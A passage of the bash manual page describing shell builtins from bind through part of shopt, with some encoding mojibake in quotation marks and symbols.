sequence to a readline function or macro, or set a readline
variable. Each non-option argument is a command as it would
appear in .inputrc, but each binding or command must be passed
as a separate argument; e.g., â"\C-x\C-r": re-read-init-fileâ.
Options, if supplied, have the following meanings:
-m keymap
Use keymap as the keymap to be affected by the subsequent
bindings. Acceptable keymap names are emacs, emacs-stan-
dard, emacs-meta, emacs-ctlx, vi, vi-move, vi-command,
and vi-insert. vi is equivalent to vi-command; emacs is
equivalent to emacs-standard.
-l List the names of all readline functions.
-p Display readline function names and bindings in such a
way that they can be re-read.
-P List current readline function names and bindings.
-v Display readline variable names and values in such a way
that they can be re-read.
-V List current readline variable names and values.
-s Display readline key sequences bound to macros and the
strings they output in such a way that they can be re-
read.
-S Display readline key sequences bound to macros and the
strings they output.
-f filename
Read key bindings from filename.
-q function
Query about which keys invoke the named function.
-u function
Unbind all keys bound to the named function.
-r keyseq
Remove any current binding for keyseq.
-x keyseq:shell-command
Cause shell-command to be executed whenever keyseq is
entered.
The return value is 0 unless an unrecognized option is given or
an error occurred.
break [n]
Exit from within a for, while, until, or select loop. If n is
specified, break n levels. n must be ⥠1. If n is greater than
the number of enclosing loops, all enclosing loops are exited.
The return value is non-zero when n is ⤠0; Otherwise, break
returns 0 value.
builtin shell-builtin [arguments]
Execute the specified shell builtin, passing it arguments, and
return its exit status. This is useful when defining a function
whose name is the same as a shell builtin, retaining the func-
tionality of the builtin within the function. The cd builtin is
commonly redefined this way. The return status is false if
shell-builtin is not a shell builtin command.
cd [-L|-P] [dir]
Change the current directory to dir. The variable HOME is the
default dir. The variable CDPATH defines the search path for
the directory containing dir. Alternative directory names in
CDPATH are separated by a colon (:). A null directory name in
CDPATH is the same as the current directory, i.e., ââ.ââ. If
dir begins with a slash (/), then CDPATH is not used. The -P
option says to use the physical directory structure instead of
following symbolic links (see also the -P option to the set
builtin command); the -L option forces symbolic links to be fol-
lowed. An argument of - is equivalent to $OLDPWD. If a non-
empty directory name from CDPATH is used, or if - is the first
argument, and the directory change is successful, the absolute
pathname of the new working directory is written to the standard
output. The return value is true if the directory was success-
fully changed; false otherwise.
caller [expr]
Returns the context of any active subroutine call (a shell func-
tion or a script executed with the . or source builtins. With-
out expr, caller displays the line number and source filename of
the current subroutine call. If a non-negative integer is sup-
plied as expr, caller displays the line number, subroutine name,
and source file corresponding to that position in the current
execution call stack. This extra information may be used, for
example, to print a stack trace. The current frame is frame 0.
The return value is 0 unless the shell is not executing a sub-
routine call or expr does not correspond to a valid position in
the call stack.
command [-pVv] command [arg ...]
Run command with args suppressing the normal shell function
lookup. Only builtin commands or commands found in the PATH are
executed. If the -p option is given, the search for command is
performed using a default value for PATH that is guaranteed to
find all of the standard utilities. If either the -V or -v
option is supplied, a description of command is printed. The -v
option causes a single word indicating the command or file name
used to invoke command to be displayed; the -V option produces a
more verbose description. If the -V or -v option is supplied,
the exit status is 0 if command was found, and 1 if not. If
neither option is supplied and an error occurred or command can-
not be found, the exit status is 127. Otherwise, the exit sta-
tus of the command builtin is the exit status of command.
compgen [option] [word]
Generate possible completion matches for word according to the
options, which may be any option accepted by the complete
builtin with the exception of -p and -r, and write the matches
to the standard output. When using the -F or -C options, the
various shell variables set by the programmable completion
facilities, while available, will not have useful values.
The matches will be generated in the same way as if the pro-
grammable completion code had generated them directly from a
completion specification with the same flags. If word is speci-
fied, only those completions matching word will be displayed.
The return value is true unless an invalid option is supplied,
or no matches were generated.
complete [-abcdefgjksuv] [-o comp-option] [-A action] [-G globpat] [-W
wordlist] [-P prefix] [-S suffix]
[-X filterpat] [-F function] [-C command] name [name ...]
complete -pr [name ...]
Specify how arguments to each name should be completed. If the
-p option is supplied, or if no options are supplied, existing
completion specifications are printed in a way that allows them
to be reused as input. The -r option removes a completion spec-
ification for each name, or, if no names are supplied, all com-
pletion specifications.
The process of applying these completion specifications when
word completion is attempted is described above under Pro-
grammable Completion.
Other options, if specified, have the following meanings. The
arguments to the -G, -W, and -X options (and, if necessary, the
-P and -S options) should be quoted to protect them from expan-
sion before the complete builtin is invoked.
-o comp-option
The comp-option controls several aspects of the comp-
specâs behavior beyond the simple generation of comple-
tions. comp-option may be one of:
bashdefault
Perform the rest of the default bash completions
if the compspec generates no matches.
default Use readlineâs default filename completion if
the compspec generates no matches.
dirnames
Perform directory name completion if the comp-
spec generates no matches.
filenames
Tell readline that the compspec generates file-
names, so it can perform any filename-specific
processing (like adding a slash to directory
names or suppressing trailing spaces). Intended
to be used with shell functions.
nospace Tell readline not to append a space (the
default) to words completed at the end of the
line.
plusdirs
After any matches defined by the compspec are
generated, directory name completion is
attempted and any matches are added to the
results of the other actions.
-A action
The action may be one of the following to generate a
list of possible completions:
alias Alias names. May also be specified as -a.
arrayvar
Array variable names.
binding Readline key binding names.
builtin Names of shell builtin commands. May also be
specified as -b.
command Command names. May also be specified as -c.
directory
Directory names. May also be specified as -d.
disabled
Names of disabled shell builtins.
enabled Names of enabled shell builtins.
export Names of exported shell variables. May also be
specified as -e.
file File names. May also be specified as -f.
function
Names of shell functions.
group Group names. May also be specified as -g.
helptopic
Help topics as accepted by the help builtin.
hostname
Hostnames, as taken from the file specified by
the HOSTFILE shell variable.
job Job names, if job control is active. May also
be specified as -j.
keyword Shell reserved words. May also be specified as
-k.
running Names of running jobs, if job control is active.
service Service names. May also be specified as -s.
setopt Valid arguments for the -o option to the set
builtin.
shopt Shell option names as accepted by the shopt
builtin.
signal Signal names.
stopped Names of stopped jobs, if job control is active.
user User names. May also be specified as -u.
variable
Names of all shell variables. May also be spec-
ified as -v.
-G globpat
The filename expansion pattern globpat is expanded to
generate the possible completions.
-W wordlist
The wordlist is split using the characters in the IFS
special variable as delimiters, and each resultant word
is expanded. The possible completions are the members
of the resultant list which match the word being com-
pleted.
-C command
command is executed in a subshell environment, and its
output is used as the possible completions.
-F function
The shell function function is executed in the current
shell environment. When it finishes, the possible com-
pletions are retrieved from the value of the COMPREPLY
array variable.
-X filterpat
filterpat is a pattern as used for filename expansion.
It is applied to the list of possible completions gener-
ated by the preceding options and arguments, and each
completion matching filterpat is removed from the list.
A leading ! in filterpat negates the pattern; in this
case, any completion not matching filterpat is removed.
-P prefix
prefix is added at the beginning of each possible com-
pletion after all other options have been applied.
-S suffix
suffix is appended to each possible completion after all
other options have been applied.
The return value is true unless an invalid option is supplied,
an option other than -p or -r is supplied without a name argu-
ment, an attempt is made to remove a completion specification
for a name for which no specification exists, or an error occurs
adding a completion specification.
continue [n]
Resume the next iteration of the enclosing for, while, until, or
select loop. If n is specified, resume at the nth enclosing
loop. n must be ⥠1. If n is greater than the number of
enclosing loops, the last enclosing loop (the ââtop-levelââ
loop) is resumed. When continue is executed inside of loop, the
return value is non-zero when n is ⤠0; Otherwise, continue
returns 0 value. When continue is executed outside of loop, the
return value is 0.
declare [-afFirtx] [-p] [name[=value] ...]
typeset [-afFirtx] [-p] [name[=value] ...]
Declare variables and/or give them attributes. If no names are
given then display the values of variables. The -p option will
display the attributes and values of each name. When -p is
used, additional options are ignored. The -F option inhibits
the display of function definitions; only the function name and
attributes are printed. If the extdebug shell option is enabled
using shopt, the source file name and line number where the
function is defined are displayed as well. The -F option
implies -f. The following options can be used to restrict out-
put to variables with the specified attribute or to give vari-
ables attributes:
-a Each name is an array variable (see Arrays above).
-f Use function names only.
-i The variable is treated as an integer; arithmetic evalua-
tion (see ARITHMETIC EVALUATION ) is performed when the
variable is assigned a value.
-r Make names readonly. These names cannot then be assigned
values by subsequent assignment statements or unset.
-t Give each name the trace attribute. Traced functions
inherit the DEBUG and RETURN traps from the calling
shell. The trace attribute has no special meaning for
variables.
-x Mark names for export to subsequent commands via the
environment.
Using â+â instead of â-â turns off the attribute instead, with
the exception that +a may not be used to destroy an array vari-
able. When used in a function, makes each name local, as with
the local command. If a variable name is followed by =value,
the value of the variable is set to value. The return value is
0 unless an invalid option is encountered, an attempt is made to
define a function using ââ-f foo=barââ, an attempt is made to
assign a value to a readonly variable, an attempt is made to
assign a value to an array variable without using the compound
assignment syntax (see Arrays above), one of the names is not a
valid shell variable name, an attempt is made to turn off read-
only status for a readonly variable, an attempt is made to turn
off array status for an array variable, or an attempt is made to
display a non-existent function with -f.
dirs [-clpv] [+n] [-n]
Without options, displays the list of currently remembered
directories. The default display is on a single line with
directory names separated by spaces. Directories are added to
the list with the pushd command; the popd command removes
entries from the list.
+n Displays the nth entry counting from the left of the list
shown by dirs when invoked without options, starting with
zero.
-n Displays the nth entry counting from the right of the
list shown by dirs when invoked without options, starting
with zero.
-c Clears the directory stack by deleting all of the
entries.
-l Produces a longer listing; the default listing format
uses a tilde to denote the home directory.
-p Print the directory stack with one entry per line.
-v Print the directory stack with one entry per line, pre-
fixing each entry with its index in the stack.
The return value is 0 unless an invalid option is supplied or n
indexes beyond the end of the directory stack.
disown [-ar] [-h] [jobspec ...]
Without options, each jobspec is removed from the table of
active jobs. If the -h option is given, each jobspec is not
removed from the table, but is marked so that SIGHUP is not sent
to the job if the shell receives a SIGHUP. If no jobspec is
present, and neither the -a nor the -r option is supplied, the
current job is used. If no jobspec is supplied, the -a option
means to remove or mark all jobs; the -r option without a job-
spec argument restricts operation to running jobs. The return
value is 0 unless a jobspec does not specify a valid job.
echo [-neE] [arg ...]
Output the args, separated by spaces, followed by a newline.
The return status is always 0. If -n is specified, the trailing
newline is suppressed. If the -e option is given, interpreta-
tion of the following backslash-escaped characters is enabled.
The -E option disables the interpretation of these escape char-
acters, even on systems where they are interpreted by default.
The xpg_echo shell option may be used to dynamically determine
whether or not echo expands these escape characters by default.
echo does not interpret -- to mean the end of options. echo
interprets the following escape sequences:
\a alert (bell)
\b backspace
\c suppress trailing newline
\e an escape character
\f form feed
\n new line
\r carriage return
\t horizontal tab
\v vertical tab
\\ backslash
nnn the eight-bit character whose value is the octal value
nnn (zero to three octal digits)
\xHH the eight-bit character whose value is the hexadecimal
value HH (one or two hex digits)
enable [-adnps] [-f filename] [name ...]
Enable and disable builtin shell commands. Disabling a builtin
allows a disk command which has the same name as a shell builtin
to be executed without specifying a full pathname, even though
the shell normally searches for builtins before disk commands.
If -n is used, each name is disabled; otherwise, names are
enabled. For example, to use the test binary found via the PATH
instead of the shell builtin version, run ââenable -n testââ.
The -f option means to load the new builtin command name from
shared object filename, on systems that support dynamic loading.
The -d option will delete a builtin previously loaded with -f.
If no name arguments are given, or if the -p option is supplied,
a list of shell builtins is printed. With no other option argu-
ments, the list consists of all enabled shell builtins. If -n
is supplied, only disabled builtins are printed. If -a is sup-
plied, the list printed includes all builtins, with an indica-
tion of whether or not each is enabled. If -s is supplied, the
output is restricted to the POSIX special builtins. The return
value is 0 unless a name is not a shell builtin or there is an
error loading a new builtin from a shared object.
eval [arg ...]
The args are read and concatenated together into a single com-
mand. This command is then read and executed by the shell, and
its exit status is returned as the value of eval. If there are
no args, or only null arguments, eval returns 0.
exec [-cl] [-a name] [command [arguments]]
If command is specified, it replaces the shell. No new process
is created. The arguments become the arguments to command. If
the -l option is supplied, the shell places a dash at the begin-
ning of the zeroth arg passed to command. This is what login(1)
does. The -c option causes command to be executed with an empty
environment. If -a is supplied, the shell passes name as the
zeroth argument to the executed command. If command cannot be
executed for some reason, a non-interactive shell exits, unless
the shell option execfail is enabled, in which case it returns
failure. An interactive shell returns failure if the file can-
not be executed. If command is not specified, any redirections
take effect in the current shell, and the return status is 0.
If there is a redirection error, the return status is 1.
exit [n]
Cause the shell to exit with a status of n. If n is omitted,
the exit status is that of the last command executed. A trap on
EXIT is executed before the shell terminates.
export [-fn] [name[=word]] ...
export -p
The supplied names are marked for automatic export to the envi-
ronment of subsequently executed commands. If the -f option is
given, the names refer to functions. If no names are given, or
if the -p option is supplied, a list of all names that are
exported in this shell is printed. The -n option causes the
export property to be removed from each name. If a variable
name is followed by =word, the value of the variable is set to
word. export returns an exit status of 0 unless an invalid
option is encountered, one of the names is not a valid shell
variable name, or -f is supplied with a name that is not a func-
tion.
fc [-e ename] [-nlr] [first] [last]
fc -s [pat=rep] [cmd]
Fix Command. In the first form, a range of commands from first
to last is selected from the history list. First and last may
be specified as a string (to locate the last command beginning
with that string) or as a number (an index into the history
list, where a negative number is used as an offset from the cur-
rent command number). If last is not specified it is set to the
current command for listing (so that ââfc -l -10ââ prints the
last 10 commands) and to first otherwise. If first is not spec-
ified it is set to the previous command for editing and -16 for
listing.
The -n option suppresses the command numbers when listing. The
-r option reverses the order of the commands. If the -l option
is given, the commands are listed on standard output. Other-
wise, the editor given by ename is invoked on a file containing
those commands. If ename is not given, the value of the FCEDIT
variable is used, and the value of EDITOR if FCEDIT is not set.
If neither variable is set, is used. When editing is complete,
the edited commands are echoed and executed.
In the second form, command is re-executed after each instance
of pat is replaced by rep. A useful alias to use with this is
ââr="fc -s"ââ, so that typing ââr ccââ runs the last command
beginning with ââccââ and typing âârââ re-executes the last com-
mand.
If the first form is used, the return value is 0 unless an
invalid option is encountered or first or last specify history
lines out of range. If the -e option is supplied, the return
value is the value of the last command executed or failure if an
error occurs with the temporary file of commands. If the second
form is used, the return status is that of the command re-exe-
cuted, unless cmd does not specify a valid history line, in
which case fc returns failure.
fg [jobspec]
Resume jobspec in the foreground, and make it the current job.
If jobspec is not present, the shellâs notion of the current job
is used. The return value is that of the command placed into
the foreground, or failure if run when job control is disabled
or, when run with job control enabled, if jobspec does not spec-
ify a valid job or jobspec specifies a job that was started
without job control.
getopts optstring name [args]
getopts is used by shell procedures to parse positional parame-
ters. optstring contains the option characters to be recog-
nized; if a character is followed by a colon, the option is
expected to have an argument, which should be separated from it
by white space. The colon and question mark characters may not
be used as option characters. Each time it is invoked, getopts
places the next option in the shell variable name, initializing
name if it does not exist, and the index of the next argument to
be processed into the variable OPTIND. OPTIND is initialized to
1 each time the shell or a shell script is invoked. When an
option requires an argument, getopts places that argument into
the variable OPTARG. The shell does not reset OPTIND automati-
cally; it must be manually reset between multiple calls to
getopts within the same shell invocation if a new set of parame-
ters is to be used.
When the end of options is encountered, getopts exits with a
return value greater than zero. OPTIND is set to the index of
the first non-option argument, and name is set to ?.
getopts normally parses the positional parameters, but if more
arguments are given in args, getopts parses those instead.
getopts can report errors in two ways. If the first character
of optstring is a colon, silent error reporting is used. In
normal operation diagnostic messages are printed when invalid
options or missing option arguments are encountered. If the
variable OPTERR is set to 0, no error messages will be dis-
played, even if the first character of optstring is not a colon.
If an invalid option is seen, getopts places ? into name and, if
not silent, prints an error message and unsets OPTARG. If
getopts is silent, the option character found is placed in
OPTARG and no diagnostic message is printed.
If a required argument is not found, and getopts is not silent,
a question mark (?) is placed in name, OPTARG is unset, and a
diagnostic message is printed. If getopts is silent, then a
colon (:) is placed in name and OPTARG is set to the option
character found.
getopts returns true if an option, specified or unspecified, is
found. It returns false if the end of options is encountered or
an error occurs.
hash [-lr] [-p filename] [-dt] [name]
For each name, the full file name of the command is determined
by searching the directories in $PATH and remembered. If the -p
option is supplied, no path search is performed, and filename is
used as the full file name of the command. The -r option causes
the shell to forget all remembered locations. The -d option
causes the shell to forget the remembered location of each name.
If the -t option is supplied, the full pathname to which each
name corresponds is printed. If multiple name arguments are
supplied with -t, the name is printed before the hashed full
pathname. The -l option causes output to be displayed in a for-
mat that may be reused as input. If no arguments are given, or
if only -l is supplied, information about remembered commands is
printed. The return status is true unless a name is not found
or an invalid option is supplied.
help [-s] [pattern]
Display helpful information about builtin commands. If pattern
is specified, help gives detailed help on all commands matching
pattern; otherwise help for all the builtins and shell control
structures is printed. The -s option restricts the information
displayed to a short usage synopsis. The return status is 0
unless no command matches pattern.
history [n]
history -c
history -d offset
history -anrw [filename]
history -p arg [arg ...]
history -s arg [arg ...]
With no options, display the command history list with line num-
bers. Lines listed with a * have been modified. An argument of
n lists only the last n lines. If the shell variable HISTTIME-
FORMAT is set and not null, it is used as a format string for
strftime(3) to display the time stamp associated with each dis-
played history entry. No intervening blank is printed between
the formatted time stamp and the history line. If filename is
supplied, it is used as the name of the history file; if not,
the value of HISTFILE is used. Options, if supplied, have the
following meanings:
-c Clear the history list by deleting all the entries.
-d offset
Delete the history entry at position offset.
-a Append the âânewââ history lines (history lines entered
since the beginning of the current bash session) to the
history file.
-n Read the history lines not already read from the history
file into the current history list. These are lines
appended to the history file since the beginning of the
current bash session.
-r Read the contents of the history file and use them as the
current history.
-w Write the current history to the history file, overwrit-
ing the history fileâs contents.
-p Perform history substitution on the following args and
display the result on the standard output. Does not
store the results in the history list. Each arg must be
quoted to disable normal history expansion.
-s Store the args in the history list as a single entry.
The last command in the history list is removed before
the args are added.
If the HISTTIMEFORMAT is set, the time stamp information associ-
ated with each history entry is written to the history file.
The return value is 0 unless an invalid option is encountered,
an error occurs while reading or writing the history file, an
invalid offset is supplied as an argument to -d, or the history
expansion supplied as an argument to -p fails.
jobs [-lnprs] [ jobspec ... ]
jobs -x command [ args ... ]
The first form lists the active jobs. The options have the fol-
lowing meanings:
-l List process IDs in addition to the normal information.
-p List only the process ID of the jobâs process group
leader.
-n Display information only about jobs that have changed
status since the user was last notified of their status.
-r Restrict output to running jobs.
-s Restrict output to stopped jobs.
If jobspec is given, output is restricted to information about
that job. The return status is 0 unless an invalid option is
encountered or an invalid jobspec is supplied.
If the -x option is supplied, jobs replaces any jobspec found in
command or args with the corresponding process group ID, and
executes command passing it args, returning its exit status.
kill [-s sigspec | -n signum | -sigspec] [pid | jobspec] ...
kill -l [sigspec | exit_status]
Send the signal named by sigspec or signum to the processes
named by pid or jobspec. sigspec is either a case-insensitive
signal name such as SIGKILL (with or without the SIG prefix) or
a signal number; signum is a signal number. If sigspec is not
present, then SIGTERM is assumed. An argument of -l lists the
signal names. If any arguments are supplied when -l is given,
the names of the signals corresponding to the arguments are
listed, and the return status is 0. The exit_status argument to
-l is a number specifying either a signal number or the exit
status of a process terminated by a signal. kill returns true
if at least one signal was successfully sent, or false if an
error occurs or an invalid option is encountered.
let arg [arg ...]
Each arg is an arithmetic expression to be evaluated (see ARITH-
METIC EVALUATION). If the last arg evaluates to 0, let returns
1; 0 is returned otherwise.
local [option] [name[=value] ...]
For each argument, a local variable named name is created, and
assigned value. The option can be any of the options accepted
by declare. When local is used within a function, it causes the
variable name to have a visible scope restricted to that func-
tion and its children. With no operands, local writes a list of
local variables to the standard output. It is an error to use
local when not within a function. The return status is 0 unless
local is used outside a function, an invalid name is supplied,
or name is a readonly variable.
logout Exit a login shell.
popd [-n] [+n] [-n]
Removes entries from the directory stack. With no arguments,
removes the top directory from the stack, and performs a cd to
the new top directory. Arguments, if supplied, have the follow-
ing meanings:
+n Removes the nth entry counting from the left of the list
shown by dirs, starting with zero. For example: ââpopd
+0ââ removes the first directory, ââpopd +1ââ the second.
-n Removes the nth entry counting from the right of the list
shown by dirs, starting with zero. For example: ââpopd
-0ââ removes the last directory, ââpopd -1ââ the next to
last.
-n Suppresses the normal change of directory when removing
directories from the stack, so that only the stack is
manipulated.
If the popd command is successful, a dirs is performed as well,
and the return status is 0. popd returns false if an invalid
option is encountered, the directory stack is empty, a non-exis-
tent directory stack entry is specified, or the directory change
fails.
printf [-v var] format [arguments]
Write the formatted arguments to the standard output under the
control of the format. The format is a character string which
contains three types of objects: plain characters, which are
simply copied to standard output, character escape sequences,
which are converted and copied to the standard output, and for-
mat specifications, each of which causes printing of the next
successive argument. In addition to the standard printf(1) for-
mats, %b causes printf to expand backslash escape sequences in
the corresponding argument (except that \c terminates output,
backslashes in \', \", and \? are not removed, and octal escapes
beginning with may contain up to four digits), and %q causes
printf to output the corresponding argument in a format that can
be reused as shell input.
The -v option causes the output to be assigned to the variable
var rather than being printed to the standard output.
The format is reused as necessary to consume all of the argu-
ments. If the format requires more arguments than are supplied,
the extra format specifications behave as if a zero value or
null string, as appropriate, had been supplied. The return
value is zero on success, non-zero on failure.
pushd [-n] [dir]
pushd [-n] [+n] [-n]
Adds a directory to the top of the directory stack, or rotates
the stack, making the new top of the stack the current working
directory. With no arguments, exchanges the top two directories
and returns 0, unless the directory stack is empty. Arguments,
if supplied, have the following meanings:
+n Rotates the stack so that the nth directory (counting
from the left of the list shown by dirs, starting with
zero) is at the top.
-n Rotates the stack so that the nth directory (counting
from the right of the list shown by dirs, starting with
zero) is at the top.
-n Suppresses the normal change of directory when adding
directories to the stack, so that only the stack is
manipulated.
dir Adds dir to the directory stack at the top, making it the
new current working directory.
If the pushd command is successful, a dirs is performed as well.
If the first form is used, pushd returns 0 unless the cd to dir
fails. With the second form, pushd returns 0 unless the direc-
tory stack is empty, a non-existent directory stack element is
specified, or the directory change to the specified new current
directory fails.
pwd [-LP]
Print the absolute pathname of the current working directory.
The pathname printed contains no symbolic links if the -P option
is supplied or the -o physical option to the set builtin command
is enabled. If the -L option is used, the pathname printed may
contain symbolic links. The return status is 0 unless an error
occurs while reading the name of the current directory or an
invalid option is supplied.
read [-ers] [-u fd] [-t timeout] [-a aname] [-p prompt] [-n nchars] [-d
delim] [name ...]
One line is read from the standard input, or from the file
descriptor fd supplied as an argument to the -u option, and the
first word is assigned to the first name, the second word to the
second name, and so on, with leftover words and their interven-
ing separators assigned to the last name. If there are fewer
words read from the input stream than names, the remaining names
are assigned empty values. The characters in IFS are used to
split the line into words. The backslash character (\) may be
used to remove any special meaning for the next character read
and for line continuation. Options, if supplied, have the fol-
lowing meanings:
-a aname
The words are assigned to sequential indices of the array
variable aname, starting at 0. aname is unset before any
new values are assigned. Other name arguments are
ignored.
-d delim
The first character of delim is used to terminate the
input line, rather than newline.
-e If the standard input is coming from a terminal, readline
(see READLINE above) is used to obtain the line.
-n nchars
read returns after reading nchars characters rather than
waiting for a complete line of input.
-p prompt
Display prompt on standard error, without a trailing new-
line, before attempting to read any input. The prompt is
displayed only if input is coming from a terminal.
-r Backslash does not act as an escape character. The back-
slash is considered to be part of the line. In particu-
lar, a backslash-newline pair may not be used as a line
continuation.
-s Silent mode. If input is coming from a terminal, charac-
ters are not echoed.
-t timeout
Cause read to time out and return failure if a complete
line of input is not read within timeout seconds. This
option has no effect if read is not reading input from
the terminal or a pipe.
-u fd Read input from file descriptor fd.
If no names are supplied, the line read is assigned to the vari-
able REPLY. The return code is zero, unless end-of-file is
encountered, read times out, or an invalid file descriptor is
supplied as the argument to -u.
readonly [-apf] [name[=word] ...]
The given names are marked readonly; the values of these names
may not be changed by subsequent assignment. If the -f option
is supplied, the functions corresponding to the names are so
marked. The -a option restricts the variables to arrays. If no
name arguments are given, or if the -p option is supplied, a
list of all readonly names is printed. The -p option causes
output to be displayed in a format that may be reused as input.
If a variable name is followed by =word, the value of the vari-
able is set to word. The return status is 0 unless an invalid
option is encountered, one of the names is not a valid shell
variable name, or -f is supplied with a name that is not a
function.
return [n]
Causes a function to exit with the return value specified by n.
If n is omitted, the return status is that of the last command
executed in the function body. If used outside a function, but
during execution of a script by the . (source) command, it
causes the shell to stop executing that script and return either
n or the exit status of the last command executed within the
script as the exit status of the script. If used outside a
function and not during execution of a script by ., the return
status is false. Any command associated with the RETURN trap is
executed before execution resumes after the function or script.
set [--abefhkmnptuvxBCHP] [-o option] [arg ...]
Without options, the name and value of each shell variable are
displayed in a format that can be reused as input for setting or
resetting the currently-set variables. Read-only variables can-
not be reset. In posix mode, only shell variables are listed.
The output is sorted according to the current locale. When
options are specified, they set or unset shell attributes. Any
arguments remaining after the options are processed are treated
as values for the positional parameters and are assigned, in
order, to $1, $2, ... $n. Options, if specified, have the fol-
lowing meanings:
-a Automatically mark variables and functions which are
modified or created for export to the environment of
subsequent commands.
-b Report the status of terminated background jobs immedi-
ately, rather than before the next primary prompt. This
is effective only when job control is enabled.
-e Exit immediately if a simple command (see SHELL GRAMMAR
above) exits with a non-zero status. The shell does not
exit if the command that fails is part of the command
list immediately following a while or until keyword,
part of the test in an if statement, part of a && or ââ
list, or if the commandâs return value is being inverted
via !. A trap on ERR, if set, is executed before the
shell exits.
-f Disable pathname expansion.
-h Remember the location of commands as they are looked up
for execution. This is enabled by default.
-k All arguments in the form of assignment statements are
placed in the environment for a command, not just those
that precede the command name.
-m Monitor mode. Job control is enabled. This option is
on by default for interactive shells on systems that
support it (see JOB CONTROL above). Background pro-
cesses run in a separate process group and a line con-
taining their exit status is printed upon their comple-
tion.
-n Read commands but do not execute them. This may be used
to check a shell script for syntax errors. This is
ignored by interactive shells.
-o option-name
The option-name can be one of the following:
allexport
Same as -a.
braceexpand
Same as -B.
emacs Use an emacs-style command line editing inter-
face. This is enabled by default when the shell
is interactive, unless the shell is started with
the --noediting option.
errtrace
Same as -E.
functrace
Same as -T.
errexit Same as -e.
hashall Same as -h.
histexpand
Same as -H.
history Enable command history, as described above under
HISTORY. This option is on by default in inter-
active shells.
ignoreeof
The effect is as if the shell command
ââIGNOREEOF=10ââ had been executed (see Shell
Variables above).
keyword Same as -k.
monitor Same as -m.
noclobber
Same as -C.
noexec Same as -n.
noglob Same as -f. nolog Currently ignored.
notify Same as -b.
nounset Same as -u.
onecmd Same as -t.
physical
Same as -P.
pipefail
If set, the return value of a pipeline is the
value of the last (rightmost) command to exit
with a non-zero status, or zero if all commands
in the pipeline exit successfully. This option
is disabled by default.
posix Change the behavior of bash where the default
operation differs from the POSIX standard to
match the standard (posix mode).
privileged
Same as -p.
verbose Same as -v.
vi Use a vi-style command line editing interface.
xtrace Same as -x.
If -o is supplied with no option-name, the values of the
current options are printed. If +o is supplied with no
option-name, a series of set commands to recreate the
current option settings is displayed on the standard
output.
-p Turn on privileged mode. In this mode, the $ENV and
$BASH_ENV files are not processed, shell functions are
not inherited from the environment, and the SHELLOPTS
variable, if it appears in the environment, is ignored.
If the shell is started with the effective user (group)
id not equal to the real user (group) id, and the -p
option is not supplied, these actions are taken and the
effective user id is set to the real user id. If the -p
option is supplied at startup, the effective user id is
not reset. Turning this option off causes the effective
user and group ids to be set to the real user and group
ids.
-t Exit after reading and executing one command.
-u Treat unset variables as an error when performing param-
eter expansion. If expansion is attempted on an unset
variable, the shell prints an error message, and, if not
interactive, exits with a non-zero status.
-v Print shell input lines as they are read.
-x After expanding each simple command, for command, case
command, select command, or arithmetic for command, dis-
play the expanded value of PS4, followed by the command
and its expanded arguments or associated word list.
-B The shell performs brace expansion (see Brace Expansion
above). This is on by default.
-C If set, bash does not overwrite an existing file with
the >, >&, and <> redirection operators. This may be
overridden when creating output files by using the redi-
rection operator >| instead of >.
-E If set, any trap on ERR is inherited by shell functions,
command substitutions, and commands executed in a sub-
shell environment. The ERR trap is normally not inher-
ited in such cases.
-H Enable ! style history substitution. This option is on
by default when the shell is interactive.
-P If set, the shell does not follow symbolic links when
executing commands such as cd that change the current
working directory. It uses the physical directory
structure instead. By default, bash follows the logical
chain of directories when performing commands which
change the current directory.
-T If set, any traps on DEBUG and RETURN are inherited by
shell functions, command substitutions, and commands
executed in a subshell environment. The DEBUG and
RETURN traps are normally not inherited in such cases.
-- If no arguments follow this option, then the positional
parameters are unset. Otherwise, the positional parame-
ters are set to the args, even if some of them begin
with a -.
- Signal the end of options, cause all remaining args to
be assigned to the positional parameters. The -x and -v
options are turned off. If there are no args, the posi-
tional parameters remain unchanged.
The options are off by default unless otherwise noted. Using +
rather than - causes these options to be turned off. The
options can also be specified as arguments to an invocation of
the shell. The current set of options may be found in $-. The
return status is always true unless an invalid option is encoun-
tered.
shift [n]
The positional parameters from n+1 ... are renamed to $1 ....
Parameters represented by the numbers $# down to $#-n+1 are
unset. n must be a non-negative number less than or equal to
$#. If n is 0, no parameters are changed. If n is not given,
it is assumed to be 1. If n is greater than $#, the positional
parameters are not changed. The return status is greater than
zero if n is greater than $# or less than zero; otherwise 0.
shopt [-pqsu] [-o] [optname ...]
Toggle the values of variables controlling optional shell behav-
ior. With no options, or with the -p option, a list of all set-
table options is displayed, with an indication of whether or not
each is set. The -p option causes output to be displayed in a
form that may be reused as input. Other options have the fol-
lowing meanings:
-s Enable (set) each optname.
-u Disable (unset) each optname.
-q Suppresses normal output (quiet mode); the return status
indicates whether the optname is set or unset. If
multiple optname arguments are given with -q, the return
status is zero if all optnames are enabled; non-zero oth-
erwise.
-o Restricts the values of optname to be those defined for
the -o option to the set builtin.
If either -s or -u is used with no optname arguments, the dis-
play is limited to those options which are set or unset, respec-
tively. Unless otherwise noted, the shopt options are disabled
(unset) by default.
The return status when listing options is zero if all optnames
are enabled, non-zero otherwise. When setting or unsetting
options, the return status is zero unless an optname is not a
valid shell option.
The list of shopt options is:
cdable_vars
If set, an argument to the cd builtin command that is
not a directory is assumed to be the name of a variable
whose value is the directory to change to.
cdspell If set, minor errors in the spelling of a directory com-
ponent in a cd command will be corrected. The errors
checked for are transposed characters, a missing charac-
ter, and one character too many. If a correction is
found, the corrected file name is printed, and the com-
mand proceeds. This option is only used by interactive
shells.
checkhash
If set, bash checks that a command found in the hash ta-
ble exists before trying to execute it. If a hashed
command no longer exists, a normal path search is per-
formed.
checkwinsize
If set, bash checks the window size after each command
and, if necessary, updates the values of LINES and
COLUMNS.
cmdhist If set, bash attempts to save all lines of a multiple-
line command in the same history entry. This allows
easy re-editing of multi-line commands.
dotglob If set, bash includes filenames beginning with a â.â in
the results of pathname expansion.
execfail
If set, a non-interactive shell will not exit if it can-
not execute the file specified as an argument to the
exec builtin command. An interactive shell does not
exit if exec fails.
expand_aliases
If set, aliases are expanded as described above under
ALIASES. This option is enabled by default for interac-
tive shells.
extdebug
If set, behavior intended for use by debuggers is
enabled:
1. The -F option to the declare builtin displays the
source file name and line number corresponding to
each function name supplied as an argument.
2. If the command run by the DEBUG trap returns a
non-zero value, the next command is skipped and
not executed.
3. If the command run by the DEBUG trap returns a
value of 2, and the shell is executing in a sub-
routine (a shell function or a shell script exe-
cuted by the . or source builtins), a call to
return is simulated.
4. BASH_ARGC and BASH_ARGV are updated as described
in their descriptions above.
5. Function tracing is enabled: command substitu-
tion, shell functions, and subshells invoked with
